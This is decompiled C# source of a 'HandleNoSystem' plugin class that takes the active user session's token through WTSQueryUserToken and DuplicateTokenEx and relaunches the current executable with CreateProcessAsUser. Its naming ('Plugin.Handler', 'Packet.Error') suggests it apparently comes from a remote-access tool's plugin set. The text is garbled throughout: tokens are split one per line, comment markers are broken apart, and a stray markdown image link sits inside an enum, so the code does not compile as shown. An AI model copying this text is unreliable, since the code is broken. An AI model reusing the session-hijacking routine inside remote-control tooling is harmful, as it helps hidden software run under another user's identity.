using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Plugin.Handler
{
/
/
Token:
0x02000007
RID:
7
public
class
HandleNoSystem
{
/
/
Token:
0x0600002C
RID:
44
RVA:
0x00002F6C
File
Offset:
0x0000116C
public static void NoSystem()
{
try
{
HandleNoSystem.StartProcessAsCurrentUser(Process.GetCurrentProcess().MainModule.FileName, null, null, true);
}
catch (Exception ex)
{
Packet.Error(ex.Message);
}
}
/
/
Token:
0x0600002D
RID:
45
[DllImport(
"advapi32.dll"
, CallingConvention
=
CallingConvention.StdCall, CharSet
=
CharSet.Ansi, SetLastError
=
true)]
private static extern
bool
CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
bool
bInheritHandle, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref HandleNoSystem.STARTUPINFO lpStartupInfo, out HandleNoSystem.PROCESS_INFORMATION lpProcessInformation);
/
/
Token:
0x0600002E
RID:
46
[DllImport(
"advapi32.dll"
)]
private static extern
bool
DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, IntPtr lpThreadAttributes,
int
TokenType,
int
ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
/
/
Token:
0x0600002F
RID:
47
[DllImport(
"userenv.dll"
, SetLastError
=
true)]
private static extern
bool
CreateEnvironmentBlock(ref IntPtr lpEnvironment, IntPtr hToken,
bool
bInherit);
/
/
Token:
0x06000030
RID:
48
[DllImport(
"userenv.dll"
, SetLastError
=
true)]
[
return
: MarshalAs(UnmanagedType.
Bool
)]
private static extern
bool
DestroyEnvironmentBlock(IntPtr lpEnvironment);
/
/
Token:
0x06000031
RID:
49
[DllImport(
"kernel32.dll"
, SetLastError
=
true)]
private static extern
bool
CloseHandle(IntPtr hSnapshot);
/
/
Token:
0x06000032
RID:
50
[DllImport(
"kernel32.dll"
)]
private static extern uint WTSGetActiveConsoleSessionId();
/
/
Token:
0x06000033
RID:
51
[DllImport(
"Wtsapi32.dll"
)]
private static extern uint WTSQueryUserToken(uint SessionId, ref IntPtr phToken);
/
/
Token:
0x06000034
RID:
52
[DllImport(
"Wtsapi32.dll"
, SetLastError
=
true)]
private static extern
int
WTSEnumerateSessions(IntPtr hServer,
int
Reserved,
int
Version, ref IntPtr ppSessionInfo, ref
int
pCount);
/
/
Token:
0x06000035
RID:
53
RVA:
0x00002FB8
File
Offset:
0x000011B8
private static
bool
GetSessionUserToken(ref IntPtr phUserToken)
{
bool
result
=
false;
IntPtr zero
=
IntPtr.Zero;
uint num
=
uint.MaxValue;
IntPtr zero2
=
IntPtr.Zero;
int
num2
=
0
;
if
(HandleNoSystem.WTSEnumerateSessions(HandleNoSystem.WTS_CURRENT_SERVER_HANDLE,
0
,
1
, ref zero2, ref num2) !
=
0
)
{
int
offset
=
Marshal.SizeOf(typeof(HandleNoSystem.WTS_SESSION_INFO));
IntPtr intPtr
=
zero2;
for
(
int
i
=
0
; i < num2; i
+
+
)
{
HandleNoSystem.WTS_SESSION_INFO wts_SESSION_INFO
=
(HandleNoSystem.WTS_SESSION_INFO)Marshal.PtrToStructure(intPtr, typeof(HandleNoSystem.WTS_SESSION_INFO));
intPtr
+
=
offset;
if
(wts_SESSION_INFO.State
=
=
HandleNoSystem.WTS_CONNECTSTATE_CLASS.WTSActive)
{
num
=
wts_SESSION_INFO.SessionID;
}
}
}
if
(num
=
=
4294967295U
)
{
num
=
HandleNoSystem.WTSGetActiveConsoleSessionId();
}
if
(HandleNoSystem.WTSQueryUserToken(num, ref zero) !
=
0U
)
{
result
=
HandleNoSystem.DuplicateTokenEx(zero,
0U
, IntPtr.Zero,
2
,
1
, ref phUserToken);
HandleNoSystem.CloseHandle(zero);
}
return
result;
}
/
/
Token:
0x06000036
RID:
54
RVA:
0x00003084
File
Offset:
0x00001284
public static
bool
StartProcessAsCurrentUser(string appPath, string cmdLine
=
null, string workDir
=
null,
bool
visible
=
true)
{
IntPtr zero
=
IntPtr.Zero;
HandleNoSystem.STARTUPINFO startupinfo
=
default(HandleNoSystem.STARTUPINFO);
HandleNoSystem.PROCESS_INFORMATION process_INFORMATION
=
default(HandleNoSystem.PROCESS_INFORMATION);
IntPtr zero2
=
IntPtr.Zero;
startupinfo.cb
=
Marshal.SizeOf(typeof(HandleNoSystem.STARTUPINFO));
try
{
if
(!HandleNoSystem.GetSessionUserToken(ref zero))
{
throw new Exception(
"StartProcessAsCurrentUser: GetSessionUserToken failed."
);
}
uint dwCreationFlags
=
1024U
| (visible ?
16U
:
134217728U
);
startupinfo.wShowWindow
=
(visible ?
5
:
0
);
startupinfo.lpDesktop
=
"winsta0\\default"
;
if
(!HandleNoSystem.CreateEnvironmentBlock(ref zero2, zero, false))
{
throw new Exception(
"StartProcessAsCurrentUser: CreateEnvironmentBlock failed."
);
}
if
(!HandleNoSystem.CreateProcessAsUser(zero, appPath, cmdLine, IntPtr.Zero, IntPtr.Zero, false, dwCreationFlags, zero2, workDir, ref startupinfo, out process_INFORMATION))
{
throw new Exception(
"StartProcessAsCurrentUser: CreateProcessAsUser failed. Error Code -"
+
Marshal.GetLastWin32Error().ToString());
}
int
lastWin32Error
=
Marshal.GetLastWin32Error();
}
finally
{
HandleNoSystem.CloseHandle(zero);
if
(zero2 !
=
IntPtr.Zero)
{
HandleNoSystem.DestroyEnvironmentBlock(zero2);
}
HandleNoSystem.CloseHandle(process_INFORMATION.hThread);
HandleNoSystem.CloseHandle(process_INFORMATION.hProcess);
}
return
true;
}
/
/
Token:
0x04000015
RID:
21
private const
int
CREATE_UNICODE_ENVIRONMENT
=
1024
;
/
/
Token:
0x04000016
RID:
22
private const
int
CREATE_NO_WINDOW
=
134217728
;
/
/
Token:
0x04000017
RID:
23
private const
int
CREATE_NEW_CONSOLE
=
16
;
/
/
Token:
0x04000018
RID:
24
private const uint INVALID_SESSION_ID
=
4294967295U
;
/
/
Token:
0x04000019
RID:
25
private static readonly IntPtr WTS_CURRENT_SERVER_HANDLE
=
IntPtr.Zero;
/
/
Token:
0x0200011F
RID:
287
private enum SW
{
/
/
Token:
0x040002F5
RID:
757
SW_HIDE,
/
/
Token:
0x040002F6
RID:
758
SW_SHOWNORMAL,
/
/
Token:
0x040002F7
RID:
759
SW_NORMAL
=
1
,
/
/
Token:
0x040002F8
RID:
760
SW_SHOWMINIMIZED,
/
/
Token:
0x040002F9
RID:
761
SW_SHOWMAXIMIZED,
/
/
Token:
0x040002FA
RID:
762
SW_MAXIMIZE
=
3
,
/
/
Token:
0x040002FB
RID:
763
SW_SHOWNOACTIVATE,
/
/
Token:
0x040002FC
RID:
764
SW_SHOW,
/
/
Token:
0x040002FD
RID:
765
SW_MINIMIZE,
/
/
Token:
0x040002FE
RID:
766
SW_SHOWMINNOACTIVE,
/
/
Token:
0x040002FF
RID:
767
SW_SHOWNA,
/
/
Token:
0x04000300
RID:
768
SW_RESTORE,
/
/
Token:
0x04000301
RID:
769
SW_SHOWDEFAULT,
/
/
Token:
0x04000302
RID:
770
SW_MAX
=
10
}
/
/
Token:
0x02000120
RID:
288
private enum WTS_CONNECTSTATE_CLASS
{
/
/
Token:
0x04000304
RID:
772
WTSActive,
/
/
Token:
0x04000305
RID:
773
WTSConnected,
/
/
Token:
0x04000306
RID:
774
WTSConnectQuery,
/
/
Token:
0x04000307
RID:
775
WTSShadow,
/
/
Token:
0x04000308
RID:
776
WTSDisconnected,
/
/
Token:
0x04000309
RID:
777
WTSIdle,
/
/
Token:
0x0400030A
RID:
778
WTSListen,
/
/
Token:
0x0400030B
RID:
779
WTSReset,
/
/
Token:
0x0400030C
RID:
780
WTSDown,
/
/
Token:
0x0400030D
RID:
781
WTSInit
}
/
/
Token:
0x02000121
RID:
289
private struct PROCESS_INFORMATION
{
/
/
Token:
0x0400030E
RID:
782
public IntPtr hProcess;
/
/
Token:
0x0400030F
RID:
783
public IntPtr hThread;
/
/
Token:
0x04000310
RID:
784
public uint dwProcessId;
/
/
Token:
0x04000311
RID:
785
public uint dwThreadId;
}
/
/
Token:
0x02000122
RID:
290
private enum SECURITY_IMPERSONATION_LEVEL
{
/
/
Token:
0x04000313
RID:
787
SecurityAnonymous,
/
/
Token:
0x04000314
RID:
788
SecurityIdentification,
/
/
Token:
0x04000315
RID:
789
SecurityImpersonation,
/
/
Token:
0x04000316
RID:
790
SecurityDelegation
}
/
/
Token:
0x02000123
RID:
291
private struct STARTUPINFO
{
/
/
Token:
0x04000317
RID:
791
public
int
cb;
/
/
Token:
0x04000318
RID:
792
public string lpReserved;
/
/
Token:
0x04000319
RID:
793
public string lpDesktop;
/
/
Token:
0x0400031A
RID:
794
public string lpTitle;
/
/
Token:
0x0400031B
RID:
795
public uint dwX;
/
/
Token:
0x0400031C
RID:
796
public uint dwY;
/
/
Token:
0x0400031D
RID:
797
public uint dwXSize;
/
/
Token:
0x0400031E
RID:
798
public uint dwYSize;
/
/
Token:
0x0400031F
RID:
799
public uint dwXCountChars;
/
/
Token:
0x04000320
RID:
800
public uint dwYCountChars;
/
/
Token:
0x04000321
RID:
801
public uint dwFillAttribute;
/
/
Token:
0x04000322
RID:
802
public uint dwFlags;
/
/
Token:
0x04000323
RID:
803
public short wShowWindow;
/
/
Token:
0x04000324
RID:
804
public short cbReserved2;
/
/
Token:
0x04000325
RID:
805
public IntPtr lpReserved2;
/
/
Token:
0x04000326
RID:
806
public IntPtr hStdInput;
/
/
Token:
0x04000327
RID:
807
public IntPtr hStdOutput;
/
/
Token:
0x04000328
RID:
808
public IntPtr hStdError;
}
/
/
Token:
0x02000124
RID:
292
private enum TOKEN_TYPE
{ ![](upload
/
tmp
/
987662_EKHJP2GGPMFRVBF
.webp)
/
/
Token:
0x0400032A
RID:
810
TokenPrimary
=
1
,
/
/
Token:
0x0400032B
RID:
811
TokenImpersonation
}
/
/
Token:
0x02000125
RID:
293
private readonly struct WTS_SESSION_INFO
{
/
/
Token:
0x0400032C
RID:
812
public readonly uint SessionID;
/
/
Token:
0x0400032D
RID:
813
[MarshalAs(UnmanagedType.LPStr)]
public readonly string pWinStationName;
/
/
Token:
0x0400032E
RID:
814
public readonly HandleNoSystem.WTS_CONNECTSTATE_CLASS State;
}
}
}